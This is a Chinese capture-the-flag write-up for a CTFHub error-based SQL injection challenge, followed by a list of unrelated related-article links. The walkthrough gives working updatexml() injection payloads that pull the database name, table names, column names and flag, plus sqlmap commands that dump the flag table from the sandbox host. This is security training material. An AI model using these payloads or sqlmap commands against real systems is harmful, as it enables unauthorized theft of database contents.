CTFHUB技能树之SQL——报错注入

开启靶场,打开链接:

输入1:

没有回显出相关信息,初步判断是报错注入、时间盲注或布尔盲注


输入1':

显示出'1''和报错信息,说明没有闭合情况,是报错注入且是整数型注入


输入:

1 and updatexml(1,0x7e,3) -- a

正常显示报错信息,确定报错函数updatexml()可以使用


(1)爆数据库名

1 and updatexml(1,concat('~',database(),'~'),1) -- a

说明数据库名是sqli


(2)爆表名

1 and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema = 'sqli' ),'~'),1) -- a

得到表名是news和flag,其中flag表是我们要找的


(3)爆列名

1 and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema = 'sqli' and table_name = 'flag'),'~'),1) -- a

得到列名是flag


(4)爆字段内容(flag)

1 and updatexml(1,concat('~',(select concat(flag) from flag limit 0,1),'~'),1) -- a

得到flag:

ctfhub{d49fefe662a37b6387cad068}


接下来用sqlmap爆破一下:

python sqlmap.py -u "http://challenge-4515cbd0900d8aa9.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables


python sqlmap.py -u "http://challenge-4515cbd0900d8aa9.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --dump

一样成功得到flag

相关推荐
码农阿豪12 小时前
Node.js 连金仓数据库(下篇):连接池、事务和那些坑
数据库·node.js
luj_176812 小时前
马克思的跨学科学术体系
c语言·开发语言·c++·经验分享·算法
峰子201212 小时前
PG 管控系统技术方案
数据库·后端·pg
Database_Cool_12 小时前
AnalyticDB MySQL vs Hologres:阿里云内部数仓产品如何选——场景化选型指南
数据库·数据仓库·mysql·阿里云
数智工坊12 小时前
周志华《Machine Learning》学习笔记--第八章--集成学习
笔记·学习·机器学习
todoitbo12 小时前
从 mysql 命令切到 ksql,第一步先把连接搞明白
数据库·mysql·国产数据库·ksql
TMT星球12 小时前
他用WPS笔记,把AI报错变成了可复用的“避坑指南”
笔记·wps
lcj251112 小时前
【list】手撕C++ list!从0到1实现双向链表,迭代器、const迭代器、模板全解析,面试官都惊呆了!
c++·笔记·链表·list
niaiheni12 小时前
MySQL JDBC 不出网攻击 → Spring 临时文件利用:完整攻击链复现笔记
笔记·mysql·spring